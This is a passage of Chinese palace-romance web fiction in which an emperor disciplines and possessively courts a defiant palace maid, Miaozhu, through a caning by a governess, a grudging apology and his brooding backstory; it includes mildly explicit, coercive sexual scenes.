“好本事,现在骂人都带滚字了是吧。” 陈怀衡将人从腿上放下,轉身就将她轉了个身,按到了桌案上去。 “先前的事是陈怀霖引诱的你,我也不和你计较了,毕竟你这蠢得没邊,脑子也不知生在何处,旁人说些什么你都会信。我手段你自己也怕,怎就不肯去老实些听话?” 说起这事妙珠便又有得好说,她被按在案上,胸口压得生疼,只能用手撑着来挡着痛。上次的事情给她造成不小阴影,现在陈怀衡碰她仍旧生理性作抖,本以为他又要蛮横地行刑,却没想竟伸出手指玩弄,何必如此?倒不如干脆给她个痛快,妙珠羞愧难当,却还在咬着唇同他争辩:“是我先引诱的殿下,非是殿下引诱的我,之前难道不也是你自己说的嗎?是我勾引的他,这回又同他何干!” 他就喜欢迁怒旁人。 上回分明是他自己亲口说过的。 他那天问她,她是怎么勾引的陈怀霖? 那天她疼得要命,他说的话太难听了,她到现在也一直记得。 妙珠话还不曾说完,陈怀衡就抽离了手,行进了起来。 妙珠背对着他,也瞧不清他的表情,可他大概是又想欺负她,一下子绩神,她承受不住,冷吸了一口气。 只听他的声音从身后传来,他声线平缓,听不出情绪:“那天你把我气成那样,床上说的那些脏话你当什么真。” 床上说的脏话不当真。 从前那些欺辱她时说的话也叫她不要放在心上,早点忘掉。 怎么什么话都叫他说了,结果到头来他又是什么都不承认呢。 妙珠道:“那你去死。” 床上说的脏话不当真。 那你去死好了。 反正也是你自己个儿说得不当真。 妙珠的声音并不大,瓮声瓮气,可还是清清楚楚的传到了陈怀衡的耳朵里头。 他在等着她出声呢,声没听到,先听她咒他去死了。 他动作顿了一下,而后轻笑一声,道:“行啊,死了也揣上你。” 他从没想到她的心竟能这样野,给她一点自由就过火到这种地步。 他现在明白了,对妙珠这样的坏孩子,蠢孩子,就该把她栓在裤腰带上才是的,走哪里拎到哪里才行。 她太坏了,不看住,会跑。 又太蠢了,不看住,会被人骗。 这回的事他已经决定原谅她了,这是陈怀衡想了十几日做出的决定。 她从前是听话的,现在只是被不轨之人蒙骗了而已,他会慢慢拉她回正途的。 这回陈怀衡果真不再继续折磨她,妙珠不疼,只那种古怪的感觉让她几近失声,手指抓着桌案的边缘,不住想逃,陈怀衡察觉到了她的意图,双手伸入她的十指,不留一丝缝隙,牢牢将其包紧,最后将她同自己一并送上了云端。 * 妙珠同陈怀衡算起来也快十几日不见,可这十几天未见的时间非但没叫他们各自冷静下来,再次见过一面之后,反倒更加埋怨对方。 妙珠越发确信陈怀衡脑子有问题,他这人已经自私自利到极致。 他就是个不择手段的政治家,野心勃勃到了眼中容不得一点沙子的地步,他没有心,只有自己,皇城的宫阙教他何为权利,又如何握紧权利,却从来不会教他如何去做个 人。 妙珠现在回想起来,也觉自己确如陈怀衡所言那般,蠢得没边了,不知自己从前到底是为什么敢自己的未来寄托于他。 大抵是女人心软,耳根子也软,对妙珠好的人一只手都能数得过来,当初他对她便是好那么一点点,甚至只是在原来的基础上好一点点,妙珠竟都能死心塌地。 从前没办法,她想活命,苟且偷生度日,如今她連命都愿意舍去了,陈怀衡自是爱如何便如何,她又管他那么多作甚? 只是她手段还是没他厉害,上回同陈怀霖在乾清宫短暂又屈辱的见过那么一面之后,回去之后又哭了好一会。 陈怀衡倒还好,他总归是个自私又自大的人,即便妙珠背叛了他,他也不会从自己的身上去寻过錯,他想,事情发生成这幅模样,一是因为妙珠太蠢,二是因为陈怀霖太坏,寻到了原因,那事情便好办太多了。 让陈怀霖成婚去便好了,他再引诱不了妙珠,至于妙珠,他总有办法治她那蠢病,叫她往后不敢再犯。 陈怀衡没再强行逼迫着妙珠侍奉在身旁,她心已经不诚,再逼也逼不出什么来了,只是自那日之后,他就给她寻了教引嬤嬤还有教书的女先生。 他得教她廉耻,得告诉她,一个女人是不可以像她那样三心二意的。 那是不可以的。 还得教她读些书,提高提高她的道德水准,不许再做出些水性杨花的事出来。光让卿云教已经不顶用了,必须得寻些老师盯着她才行。 自从那日妙珠含恨从乾清宫离开之后,陈怀衡又消停了几日,她便以为事情是过去了,他恼了也总不会再死乞白赖来烦她。 可是不想,竟有教引嬤嬤寻上了门。 妙珠被领去了乾清宫的一处房间,于西侧,偏近主殿。 房间算是宽敞,现下已经入了二月,雪停了有段时日,空气也没再那般寒凉,房中门窗开着,空气清新,天光透亮。 妙珠起先被人引来这处还不知是要做些什么,直到那拿着戒尺的教引嬷嬷出现在面前,她便也在轉瞬之间明白了陈怀衡的意图。 他好无聊。 他真的好无聊。 非就和她过不去。 他怎么不就干脆给她个痛快,非要这般顿刀子磨肉来磨她。 上回乾清宫中他又给陈怀霖乱点了一通鸳鸯谱,本以为婚事可以再拖一拖,可昨个儿却听卿云说,他已经开始和那明副帅的妹妹开始相看了。 她从知道了之后,便一直在为这事伤神。 昨日哭了一遭,叹她命苦,和陈怀霖之间的缘浅淡如水,一想到他要娶了旁的人,心里头就跟被挖了块肉走似的。 他对她真得很好,可是,他就要娶旁人了。 妙珠伤怀陈怀霖的事情,連带着对陈怀衡更厌恶怨恨,今日又被叫来学什么规矩听什么道理,哪里还能听得进去? 她坐到了椅上,心思却再不在这处,那嬷嬷嘴巴一张一合在说些什么她也听不进去。 一直到嬷嬷对她的心不在焉忍无可忍。 她拿了戒尺敲了敲她面前的桌子,沉声道:“我方才说些什么了?姑娘可听进去了?” 这孔嬷嬷约莫四十年岁,年岁虽没那般大,可却颇有资历,她前前后后教过不少的贵女,就連先前那不老实的华宁都能被她教得老老实实。 这会她冷着脸站在妙珠面前也颇为唬人。 妙珠听她质问,见她冷脸,终回了神来。 孔嬷嬷问她方才都说了些什么?还能说些什么,无非也就是些训诫她的话罢了,无非是将陈怀衡让她老实听话的那些话从她口中又转述了一遍罢了。 妙珠即便没听可也都猜到了。 她不想听这些,更不想学这些。 她看着孔嬷嬷,摇头道:“我不想听,我只是奴婢,我不用学这些。” 孔嬷嬷听到妙珠这话,脸色更冷。 她也厉了声线,斥她:“什么叫只是奴婢,便不用学这些?无非是些躲懒耍滑的话罢了。陛下既给你个机会立身做人,你还这般不识好歹。” 妙珠也不怕她那冷如冰霜的面孔,她梗着脖子同她反问道:“陛下让我立身做人?” 她觉得好笑,也切实讥笑出声:“立哪门子的身,做哪门子的人?他要您教我些什么呢,是教我不要有私心,不要水性杨花去引诱别的男人对吗?” 一上来就说些什么三从四德,这些话陈怀衡还要让她再转述一遍给她吗?他好没趣。 孔嬷嬷叫妙珠这幅油盐不进的样子气到,更不知她是怎么就这么顺溜说出那些不大入耳的话来,果真是没些教养。 不知陈怀衡为何要调。教一个婢女,可她既揽了这个任务,总是要圆满完成的。 华宁她都训得老实,一个婢女难道她还教不明白? 孔嬷嬷冷笑一声,让妙珠摊开掌心。 妙珠眼看她想打她,怎会乖乖听话,她把手藏起来,起身就想要离开这处,她一边往外走一边道:“我不是你的学生,你不能打我。” 她是断不要学那些规矩的,她不想要再叫陈怀衡这么容易就称心如意了。 然而陈怀衡早就猜到妙珠不会老实,已让人守好了这处,妙珠一到门口,就见那站了两个看门的守卫,那两人见到她想要出门,伸手将她挡了回去,其中一人道:“孔嬷嬷还没说课结束,你不能离开。” 妙珠方欲争辩,孔嬷嬷就已经出现在了她的身后,她寒声道:“是你自己伸手还是我叫人按着你伸手?” 妙珠仍是不伸。 孔嬷嬷让人抓开了她的手,妙珠被抓着手,挨了十下戒尺。 孔嬷嬷冷声道:“你大抵是没挨过这东西,不知道有多疼,现如今可能认錯?” 不过十下,妙珠的手就已经叫打肿了,掌心火辣辣地灼烧起来,仿佛被烙铁烫过,细白的掌心上迅速浮起一道道刺目的红痕。先是麻木了一阵,随后剧痛才如潮水般漫开。 先前她是挨过陈怀衡的一回教训,不过那个时候他只打了她一下,如今叫这孔嬷嬷連着打了十下,只疼得人两眼发黑。 多年的老嬷嬷了,手上的力道比起陈怀衡这习武之人有过之而无不及。 手心的痛很快就蔓延到了全身,妙珠叫疼得龇牙咧嘴了,她看着掌心,疑心再打下去筋骨也要断了,可她仍旧反问道:“我錯哪了?” 孔嬷嬷道:“不敬师长,还敢顶嘴。” 妙珠眼看她还要再打,识时务道:“不敬师长我自认的,您别打了。” 她只认不敬师长,其他的錯,那是不认的。 听她如此说话,孔嬷嬷也终没再动手,真要给她打出个什么好歹来,皇帝那边怕也要多说什么。 不过,妙珠倒也超出她的预期,本以为打个三下就该讨扰,没想到还硬生生又挺了十下。 孔嬷嬷让人松了她的手,又让她回了座位坐定继续授课。 妙珠怕又要挨打,也没敢再去走神,孔嬷嬷说些什么,她也只是附和,没再顶嘴,终于,等过去了两个时辰,妙珠终于从这里面被放出去了。 她来的时候是用过午膳之后,现下出去了,竟都已经到了傍晚,要用晚膳的时候。 掌心已经破了,现下血迹也已经干涸,回房的路上妙珠给掌心哈气,企图缓解疼痛,然还没走出几步,却又有人过来,说是陈怀衡唤她去主殿那处。 这是来她这验收成果来了。 妙珠被人领去了主殿那处。 快到晚膳的时候,陈怀衡已经坐在了膳桌面前,面前已经摆满了吃食,只他还不曾动筷,仍等着妙珠。 一直到她被人带了进来,陈怀衡的视线马上落到了她的身上,而后挥手将其余的人赶出了殿内。 他上下打量着妙珠,企图看看今日的妙珠和前些时日的妙珠相比起来有没有什么变化。 然而左看右看,上看下看,却见她仍是那副模样,只是那眼中的幽怨竟还更深了一些。 陈怀衡出声道:“这么瞧我做些什么?让你学规矩,知些廉耻是为了你好,你还不知好歹上了?” 妙珠懒得和他多说,只瞥开了头去,问道:“又喊我过来作甚。” 陈怀衡见妙珠这样也是一梗。 都不知道每天是在和他较些什么劲。 他耐着性子问她:“今日有没有好好听嬷嬷的话,有没有好好学?” 妙珠问他:“难道你以为我不知道你在想些什么吗?” 她太知道他在想什么了,她知道他是什么样的人,她甚至比他自己都了解他,他自私无礼,心肠歹毒,还不达目的誓不罢休。 妙珠以前总是想不明白一个道理,为什么有的人生下来就金枝玉叶贵不可言,又为什么有的人就不干不净,可在认得陈怀衡之后她才发现,锦衣丽服什么的都是假象,一层皮子罢了,穿得再好,也改变不了他内心肮脏恶毒的事情,盛气凌人是不能叫衣服掩盖住的东西。 与此相反,她出身卑贱又如何,难道她不比他这混账像是个人吗? 陈怀衡哪里知道她在心里头编排了他那么一堆的坏话,听到她那话却反常地笑了一声:“哦,那听你这话是没好好学了。” 他又道:“那也行,随你便,现在不好好学,便一直学,什么时候会什么时候便停了。” 接着又如往常那般叫她坐下一道用晚膳。 妙珠早已习惯他的厚颜无耻。 他脸皮向来是这样厚的。 都这样了,竟然还能够装作什么都不曾发生。 妙珠没有动作,他又作势要起身来抓她:“我抱你来?” 又怕他动手动脚,她终也有了反应。 一直到妙珠用膳之时,陈怀衡才终于发现了些许不对劲。 他的视线落在妙珠的手上,问道:“挨打了?” 也是,她现在脾气大得很,在他面前都敢蹬鼻子上脸,又遑论那教引嬷嬷了。 “你以为谁都和我一样,叫你哭两滴泪出来就放过你了,不听话,打你也活该” 他一边讥她,一边又抓了她的掌心过来看,在触及到那出了血的掌心时,终于是舍得住嘴了。 他面色难看,皱眉瞪她:“你犯得着犟成这样?” 什么时候气性大成这样,顶嘴顶成什么样了,能叫打成这幅样子。 她的掌心已经肿得不像样了,依稀能看见干涸的血迹。 陈怀衡以前吓唬过打她的手掌,最后到底是打了一下,她那个时候胆子小,脾气也小,又还怕疼,可是这才过去多久,半年的时间有吗?怎么连疼都不怕了。 陈怀衡看着她的掌心看得眼皮直跳,哪里又还有什么心情吃得下饭。 妙珠掀起眼皮看向陈怀衡,竟出奇平淡,她淡声问他道:“你满意了吗?” 她这样不也全然拜他所赐吗? 难道还不能满意吗。 陈怀衡抓着她手腕的手用力了几分,他反问道:“你自己不听话,要怪我头上?你总嫌我不拿你当人看待,现在我让人教你什么叫廉耻,教你读书,便又不肯听。” 妙珠听到陈怀衡的话,竟惊讶反问:“原来你是将我看做人了?” 哦,所以让嬷嬷来打她手板,不是想让她臣服于他,是想让她立身做人了啊? 他怎么说起谎话来,连脸都不要了呢。 陈怀衡听出她话中的讥讽之意,他捏着妙珠的脸问:“我不把你当做人,每日我又是和谁在床上交。欢?狗啊?” 陈怀衡看着妙珠那红掌心,那些干涸的血就像是一根根针,刺得陈怀衡眼睛都疼得厉害。 他语气不善,道:“总提从前的事做什么,都同你说过去了。不是读过论语吗,逝者如斯夫不舍昼夜不知道?还总提什么。” 从前的那些事她怎就能记得这样清楚。 过去了不行吗,就因那三十板子,弄成这幅样子。 陈怀衡不是个会追忆后悔的性子,就像他口中所说那样,过去就过去,有什么好想,着眼当下不知道啊?非提那些糟心事来噎他。他现在待她不好吗?除了她惹他生气的时候,他还在什么时候欺负过她了?可是妙珠犟得可怕,竟让陈怀衡也生出一种极微的悔意,如果再回过头去,如果能再有一次机会 就在这样想着之时,妙珠却忽然看着他问:“你错了没,那你错了没有?” 妙珠仰着板子看他,她个头不高,大多时候总要仰视于他,从前看着陈怀衡的时候,眼中总是怯怯的,可是今日,她问出这样大逆不道的话来,眸光平淡,竟没有一丝惶惑不安。 陈怀衡听到她那话先是愣了愣,眼中都有些不可置信,她竟问他错了没?他错什么?妙珠脾气大便算了,现下竟还要叫他来认错,真叫她以为自己脾气好起来了? 陈怀衡下意识就想要开口讥她不知道天高地厚,然而那讥讽的话在触及她的眼睛之时,却又卡在了喉咙了里头。 他若是讥她,她又不知得一个人窝着气到什么时候去,一犯轴,就给他寻不痛快。 啊好,错了错了行了吧。 气什么呢。 怎么就气成这幅样子。 她给他低了那么多回头,他认一次得了呗,叫她心理平衡平衡,往后也不再瞎闹腾了,还给他戴一顶帽子出来,真给她能的。 陈怀衡说。 “错了。” “我错了行吗。” 妙珠倒也没想到他竟真就这样痛快认下,她甚至都怀疑是不是自己听错了? 她不敢置信地又问了一次:“你再说一遍?” 啧。 还得寸进尺上了呢。 陈怀衡瞥她,想把她抓过来啃一口,惩罚惩罚她这得寸进尺的小人样。 这股冲动压不住,他也确实这样做了。 他一言不合就捧着妙珠的脸去啃,嘴巴眼睛哪哪都不放过,一边亲一边又含含糊糊道:“我错了,错了,错了,行了没?舒服了没?得意了没?” 能不能不怄气了啊。 妙珠被他糊了一脸的口水,恶心地推他的脸,她道:“你认错就认错,动嘴做些什么。” 从前他总是逼着她认错,现在她总也从他口中听到“错了”两个字,即便不可置信,可待反应过来后心中也仍旧没有多高兴。 陈怀衡他又不是真心实意知错,她又能有什么好高兴。 他说错了,也无非是叫她再没借口去发脾气好了。 这样想来,妙珠才反应过来,自己给自己架上了。 可她问之前只是哽着一口恶气想和他作对,谅他不会应,谁晓得竟应得这般轻快。 妙珠想问他,你知道什么错了?让我们掰着指头好好算一算来你做的那些坏事。 你总喜欢在床上欺负我,错没错?你总喜欢贬低我,说什么礼义廉耻很多人都维持不起,错没错?你还总喜欢骂我小蠢货,错没错?还有三十板子,想起来就叫人生气,连个真相都不肯给我,错没错?你还不想叫我出宫,你凭什么,我到了年纪就是可以出去,错没错?还拿剑指我想要砍我,错没错?你错没错?你的错说起来扯都扯不完。 现在一个劲地说错了,他到底是知道哪门子错? 妙珠晓得,他只是想要稀里糊涂把这件事揭过去而已。 可那些以往发生的事妙珠再提他也不会认了,他一定会说,那都是过去发生的事了,逝者如斯夫呀,不舍昼夜呀,都不作数了好笑得很,叫她戳他一刀看他还作不作数。 他总说什么不作数,可又喜欢扯着她和陈怀霖的事情翻来覆去地说。 嚯,这样想起,更不要脸。 不过妙珠也不想同他计较,一会将他说得恼羞成怒了,最后又得叫自己吃苦。 听他认错,可她还是选择摘了眼前的事来发难。 她把那肿得老高的手伸到了陈怀衡的面前,“你还叫人打我呢。” 这事她可以提。 毕竟这事就发生在眼前,她可是有现有的证据,他还要怎么去狡辩呢。 陈怀衡看到伸到了眼前的手,愣了一瞬,而后憋出一句:“是不是你自己不听话, 再说,打你的是我?这也赖到我的头上。” 没想到这证据就在眼前陈怀衡竟都能不认,妙珠道:“怎就不是你了?” 若非是他让那嬷嬷来教她学规矩,她能挨这打不成?他不就想要逼着她认错吗? 妙珠道:“这你都不认?” 说罢就要抽回手,不再和他多说一句。 陈怀衡眼疾手快,一把抓住了她的手腕,他道:“得,我认行了,怎又要耍脾气。” 他将她那掌心放在手上看了又看,怎么看都怎么不是滋味。 今日让那嬷嬷教她也没想到会成这样,没想到她又能那样倔,现在竟连板子都能挨了。 陈怀衡看得跟着疼,抓着她手呼了几口气,而后,猝不及防低头舔舐了一下那处的伤口,血腥味不多时就蔓到了口中,又腥又涩,莫名苦涩。 妙珠叫他这么一**,又疼又痒,丝丝密密的麻意钻到手心,她刚想抽回自己的手,可陈怀衡却又先一步出声道:“这事是我不好。” 同方才相比,他的神色竟不知何时认真了许多。 他说,这事是他不好。 在这血淋淋的事实面前,再去辩驳好像也没用了,妙珠的那破碎红肿的掌心让他再说不出什么怄气的话来了,错都认了,和她赌这个气做什么。 冷情桀骜的帝王,从不可能服输认错的帝王 可是,可是看着妙珠流了血受了伤,喉咙就跟哽了一口气似的,什么都说不来了。 陈怀衡觉得事情已经快要脱离他的掌控了,这是很清晰明了的,是肉眼可见的,是连他自己都无法否认的。 妙珠切切实实影响了他的心神,他喜他怒他忧竟然和她挂上了钩。 曾经最瞧不上眼的小宫女,到底是从什么时候占据了他的心神? 心口就像是莫名裂开了一道罅隙,从那条裂缝之中,滋生出了古古怪怪的东西。 乱我心者不可留。 可妙珠是悦我心者。 虽然有时候总是要被她气个半死,可大多时候,他也还都是高兴快活的。 没关系,他已经同她道过歉了,这些事情也应当揭过篇去了,她气他不将她看做人,那往后就对她好一点,别老再说些羞辱人的话了,那些话兜兜转转绕到她的耳朵里面,都在心里面拿着个小本给你记着,等到了时候就翻出来给你算旧账。 陈怀衡想起,她从前脾气也没那么大啊,性子也没那么拗啊。 这会气起来跟头倔驴一样,跟脱了缰的野马一样,拉都拉不回来。 没办法了,此刻陈怀衡竟荒谬地意识到,如若真去和妙珠置气,他竟然会拿她没有一点办法。在床上折磨她?那也是在折磨自己,到头来将她弄出血来了,自己又怎么都不是滋味。把她送去东厂里面调教一番好了那也不行,看她手掌挨了戒尺,他眼睛都看得疼。 看看,多荒谬。 当妙珠成心和人去作对的时候,竟连他都拿她没办法。 他早就知道她骨子里面就是韧得很,那股劲不藏了,咬起人来,能叫人鲜血淋漓。 得了。 捧着她一些得了。 给她哄哄乖大抵就老实了。 做出这个荒谬决定的时候,陈怀衡也有些许哑然,妙珠只是一个宫女而已 他何必呢。 然而转瞬之间却又释然,释然后却又咬牙切齿。 他的女人,他不哄,谁哄? 到时候别又叫那些个狗东西钻了空子。 休想。 第47章 第四十七章你瞧清楚了,谁在这里面?…… 陳怀衡看着妙珠的手掌,又哪里还用得下晚膳,他讓人打了盆水过来,又拿了药膏。 他拿着打湿的帕子去给妙珠擦拭手掌心,即便动作再轻柔,可妙珠还是疼得忍不住龇牙咧嘴。 陳怀衡已经轻得不能再轻了,可妙珠还是嫌疼,他一边给她呼呼气,一边道:“你看看你,怕疼的是你,方才还倔个什么劲。” 妙珠闷声闷气道:“我不倔你就能如意了是不。” 陳怀衡不跟她倔嘴了,擦得差不多了便给她上药,他淡声道:“你真当我这般闲?故意讓人去折磨你?非打得你低头了才高兴?” “难道不是嗎?” 陳怀衡深吸一口气才忍着没发作,他道:“我在你心里头就这样小心眼?瞎想些什么呢。” 妙珠不说话了,懒得同他争辩,可陈怀衡却又来了劲。 他道:“你三心二意便对了?还教你不得了?” 妙珠望着他,认真道:“我一心一意。” 她的心从来没再他的身上过。 陈怀衡听到这话,面上表情终再维持不住,他臉色都扭曲了几分,下颌紧紧绷着。 妙珠以为他不会再说,可过了好半晌却又听他开了口。 “他已在同人论亲了,你若想要讓他难堪,便尽管放任你那颗朝秦暮楚的心。” 朝秦暮楚,是斥责一个人摇摆不定。 可妙珠觉得,这个词实在是不适合用到她的身上。 在听到陈怀衡的话后,她又满怀怨恨看向了他。 可陈怀衡却已不在意了,任何事情都可以妥协,他可以给妙珠低头,可以认错,可在关乎陈怀霖的事上,他再不会退讓一步,给他们有机可乘的机会。 现在都弄成这样,若再继续下去要如何? 一直到上完药后,两人之间的气氛也仍旧些许凝滞,不过陈怀衡也没将她强行留在这,放人安生离去。 自那日之后,陈怀衡仍旧让那孔嬷嬷教着她,只是,不管妙珠怎么走神怎么不听话,都没再挨过板子了。 他又来让女先生教她读书认字,妙珠开始读书之后才知道,原来论语还只是相对简单的书籍了,还有些更复杂的东西,生涩难懂,便是連读着都拗口。 这女先生脾气便比孔嬷嬷好多了,她的性子和卿云有些像,就是年岁长她几岁。 妙珠平日都唤她“陶先生”。 陶先生脾气柔一些,妙珠便也跟着柔,她知道先生是陈怀衡寻过来的人,她想,若是自己学不好了,那陈怀衡说不准是要牵連陶先生的。 那是不行的。 陶先生連罵都不会罵她,那她是决计不能連累她的。 妙珠是个心思颇多的小姑娘,就连陶先生都察觉出来了。 心思多并不是贬义,相反,实在算一种称赞的话。 在来之前,皇帝曾同她说妙珠不大服管教,可来了之后,发现也并非如此。 她是女先生,从前带过不少的学生,妙珠已经算是她带过最听话的姑娘了。 她一开始的时候以为她性子本就如此,可是后来有一回来早了,妙珠还在孔嬷嬷那边上课,她悄悄在暗处瞧了几眼,才发现妙珠不在她的课上,果真就有些不服管教了。 可 是,陶先生非但没有因此而嫌恶她,对她还更有些改观。 她知道,妙珠大概是怕自己学不好,而连累了她。 陶先生看得出来,皇上对这小姑娘很是看重,虽然他總是说妙珠不听话,可提起她时,眼中大多时候怀揣着喜意。 皇帝没必要在一位女先生面前掩饰自己的情绪,所以,陶先生也很敏锐地察觉到了帝王的情绪。 再又教学几日,才发现妙珠其实也很聪明。 一开始她教她论语,她以往大抵是学过,读得很是顺溜,后来又教她背千字文,不过几日通读顺畅而后竟也能背了,再后来,一些疑难杂诗,她虽读不大明白,可總也是听话好学的。 妙珠是个好孩子。 就连陶先生也很喜欢她。 她想,没人不会喜欢妙珠的。 她在乾清宮教了她快有半月的书,直至二月中旬,京城的最后一場春雪在一个日中落下。 金殿玉阙上又悄然覆上皑皑白雪,本来都快转暖的天气又变了寒凉,乍暖还寒,捉摸不定。 妙珠在主殿那里和陈怀衡用过午膳,被他拉着在里面歇了个中觉,眼看快到了下午读书的时候,便起了身。 许是落雪的时候难免叫人懈怠,望着那片白茫茫的雪,人的心里头也跟着空落落的。陈怀衡不想让妙珠离开,将她一把拉了回来。 妙珠挣扎,道:“该到时辰读书了呢。” 读书这点也好,至少也不用成日和他在一处了。 有时候便歇在一起睡个中觉,晚上睡觉的时候又被他弄来龙塌上,自己的房间到是一直空着了,除此之外的时间,大多都是跟着嬷嬷和先生在学东西。 陈怀衡道:“时辰不时辰的不都我说了算?迟点去,再歇一会。” 妙珠被他抱在怀中,背上尽是他灼人的热意。 她闷声道:“圣人不贵尺之璧,而重寸之阴,不能这样,这样不好。” 他想做什么就做什么,连累她一起让旁人等着,好没礼。 陈怀衡听她張口叭叭叭的就是一些大道理,忍不住好笑:“让你读书倒还讥上我了,等就等了,有你说得那么严重?” 陈怀衡疑心她得被教成一个小酸儒,到时候每天張口闭口就是一些圣人名言,偏他这人又没什么道德底线,听了那些话脑袋就疼。 别人说那些话他是要烦的,不过,若是妙珠,那便算了,往后妙珠变成了个小学究,那也别有一番趣味。 她爱说便说吧。 读了书不就是要说的嗎。 现下若再出尔反尔了,她心里面恐怕又得记他。 这些时日妙珠好不容易乖顺了许多,他也不想因为这些莫名的事再去闹了不痛快,妙珠现在本事大了,闹腾起来不是谁都能消受的。 书可以继续读,可是他现在就是要抱着她。 这場雪来得突然,陈怀衡没让人来关窗,殿内的窗便一直开着,他抱着妙珠,一抬眼就能看到那漫天飞雪。 按照往年惯例来看,这大抵是京城的最后一場雪了。 残冬梅香凛冽而霸道,便是身在寝宮似都能够闻到,白茫茫的雪从天而降,整个皇城都在落雪,雪尽人间,洁白似乎也能够掩盖这座皇城的脏污。 陈怀衡心中的空荡似乎在这一刻被无限放大,敲一敲都能听得到回响。 他心里面能装得东西太少了,又或者说什么东西都装不进去,天下万民万性,那是装在帝王的心中,不是他的心中,他会履行身为帝王的职责,可又实在是没办法装下那么多人,装不下,干脆就一个都不装了。 这颗天底下最凛冽狠毒,妄图将一切都赶走的心,此刻却亟待想要装些什么东西去填满那里。 唯独抱着妙珠的时候,心口那里才被撑得鼓鼓囊囊的。 好古怪。好古怪。 从前的时候,妙珠听他的话,他乐意留她,可是现在,妙珠都不听他的话了,可他还是放不下。或许就是因为,她在身边,因为他抱着她,那颗空空荡荡的心好像就没那么空了。 妙珠,皇宮这么黑,就你的眼睛这么亮。 他的心什么都填不满,就你能填满。 他怎么放手? 怎么。 妙珠静静地被他抱在怀中,没有抗拒,没有震颤,没有闪躲,她安安静静的,不说话,不争辩,他的脑袋埋得更深了一些,深深地埋到她的肩颈中,她的气味转而侵入了鼻腔,什么东西悄无声息地填满了他的胸口。 陈怀衡的童年并不算多么美满,当然,其中最大的原因还是出自自身。 他的脾性一直算不得多么优秀,还是皇子时候便不爱说话,他的父皇不喜欢他,而他的母亲又被他的沉默寡言拒之门外,成为皇帝之后,便更不用说了,初登基时,他唯一算得上是亲近的内监被太皇太后从身边赶走。 再后来,他便被太皇太后看在身边,周围全是她的眼线,他每天读的书摞得老高了,每日行程安排得没有一点空隙,最忙的便是春秋时候,还要去文华殿去听讲学,大学士和翰林院中的堂官以及国子监的祭酒,无数双眼睛都在盯着他看,年纪小的幼帝一旦做出什么不合礼数的事情,马上要遭至群臣的声讨以及太皇太后严厉的责骂。 大臣们是需要对皇帝的私人行为负上政治责任的,万一将来幼帝在史书上留下了什么不好听的名声,那他们这些大臣,决计也会被世人编排。 当皇帝的日子其实并不怎么好过。 没有一刻钟是能够喘息的。 当初他的父皇也是这样过来的。 仁宗是个懦弱无用的主君,可现在也已经分不清,究竟是他的懦弱导致了太皇太后的控制,又还是太皇太后的控制导致了他的懦弱。 官场是黑暗的,而皇宮也并不光明,这是历年以来亘古不变的事实。 陈怀衡和他父皇并不相同,他是栖身黑暗并且习惯黑暗的动物。 黑暗中的动物没有感情,黑暗中的动物没有思想,黑暗中的动物不会渴望温暖,只想着如何厮杀获得政权。 政权一开始不属于他,被已故的林首辅和太皇太后分别掌握。 他们一只手握着能要人命的言官,一只手提着傀儡皇帝。 他们才是事实上的独裁者。 林首辅是个极其刻薄强势的人,若说太皇太后的强势还有加虚伪矫饰,可林首辅那便不大一样了。他是黑暗之中的器物,手底下豢养了不少的言官,若有人得罪了他,便马上要被他手底下的那些言官群起而攻之,而后,最好的下场是被逼离职,最后的下场便是午门弃市。 他和太皇太后的斗争是那样灼热,可凭借幼帝老师的身份,以及他那有仇必报的气度,竟比太皇太后都要厉害一些。 内阁之中的其他几位阁老也被他打压,首辅只有一个。 然而“阁揆”这个名头即便是说出来再好听,在制度上却没有任何明确的规定,他和太皇太后手握权柄,然而,这都只是常态中的变态,这不符合紫禁城的最根本的运行规律。 紫禁城最根本的规律是,黄袍加身大权在握。 那便是说,除了皇帝外的任何一个掌权者随时会叫人取代。 首辅太忙了,忙于巩固自己的地位,终于在自己的地位之后得到了巩固之后,他向着朝政出手了,他又开始忙于新政,他那公忠体国的抱负啊,终于能在站稳了脚跟之后准备大展宏图。 然而,他得罪了太多太多的人,在这条荆棘之路上,他早已经树敌无数,最后还是败给了一直在旁伺机等候的太皇太后。 他铲除了无数政敌,他妄图推行新政,可最后,他却死于贪污二字。 他是一个极其标准的政治动物,怎么可能会容许自己犯下这样的错呢?他是不会轻易地给别人留下把柄,只有一身风清,才能让自己的政策站得住脚。然而,他是有家人的,在这样的世道,家族也够代表着他。 送了无数人下台的首辅大人,最后也还是弃市而亡。 陈怀衡狠厉的手段必然有借鉴于他那毒辣的老师 ,不,不只是老师,来自深宫之中的每一个人。 他从他们身上学到的只有狠辣,哪里来的狗屁真善美。 他却又汲取了老师身上的过错,首辅一心只有斗争 斗争啊,只有长久的斗争,才能迎来新生。 可陈怀衡比他冷静太多。 年岁小的帝王什么都做不了,他唯一能做的便只有,等待,等待在黑暗中等待他的时机,迎来他的曙光。 妙珠是他在深宫中好不容易寻到的小玩样,黑暗中的帝王生涯孤独无趣,他好不容易總算有个聊以慰藉的人放在身边,不能弄丢,绝对不能。 妙珠是黑暗之中,被他囚困的鲜艳的欲望。 她同这深宫中的万物,格格不入。 陈怀衡抱着妙珠的手更用力了一些。 他那沉重的呼吸扑在妙珠的颈间,妙珠叫他弄得瘙痒难耐,忍不住扭动着躲他,可是越躲,他非挨得越紧。 “别躲,别躲叫我好好抱你。” 陈怀衡的声音很低很磁,竟带着一丝莫名的忧愁。 她没听错吧? 她一定是听错了。 妙珠不再扭动,陈怀衡这人性子左得很,越和他拗,他越是硬气,妙珠最后只是道:“你是想勒死我。” 她觉得她整个人都快被按化在他的身体里面了。 陈怀衡的手上也终于松了些力。 他问妙珠:“你瞧见外面落雪了嗎?” “干嘛?” 陈怀衡道:“今日不用去读书了,就待在这。” 妙珠听了便急:“哪里有这样三天打鱼两天晒网的道理?你这人怎么这样的。” 她才不想和他躺一个下午呢,挣着便要下床,陈怀衡哪里能让,他道:“又短不了你这一天,投胎都不带你这样急,倒没见过比你还勤恳些的了。” 真算起来,陈怀衡以往的日子可比她艰辛太多,说出来也叫人不信,他读过的圣贤书撩起来比他人都高。 可陈怀衡大抵是不适合读书,妙珠其实比他适合读书多了。 陈怀衡以往讽她维持不起礼义廉耻,可而今若是细想,难免要让人觉得惊恐,他其实才该是那个最维持不起礼义廉耻的人。 妙珠是个乖孩子,读了书以后也都会记到心里面去,陈怀衡又不是,读了也白读,过了脑子,过不了心。 妙珠听了他的话不再吭声,陈怀衡把人掰过来一看,果见她气得臉都红了。 陈怀衡亲亲她的臉,笑道:“又是气些什么啊,叫你歇一天也不肯,在闹什么脾气。得了,就再躺一会。” 妙珠仍是犟着不说话,陈怀衡舔她。 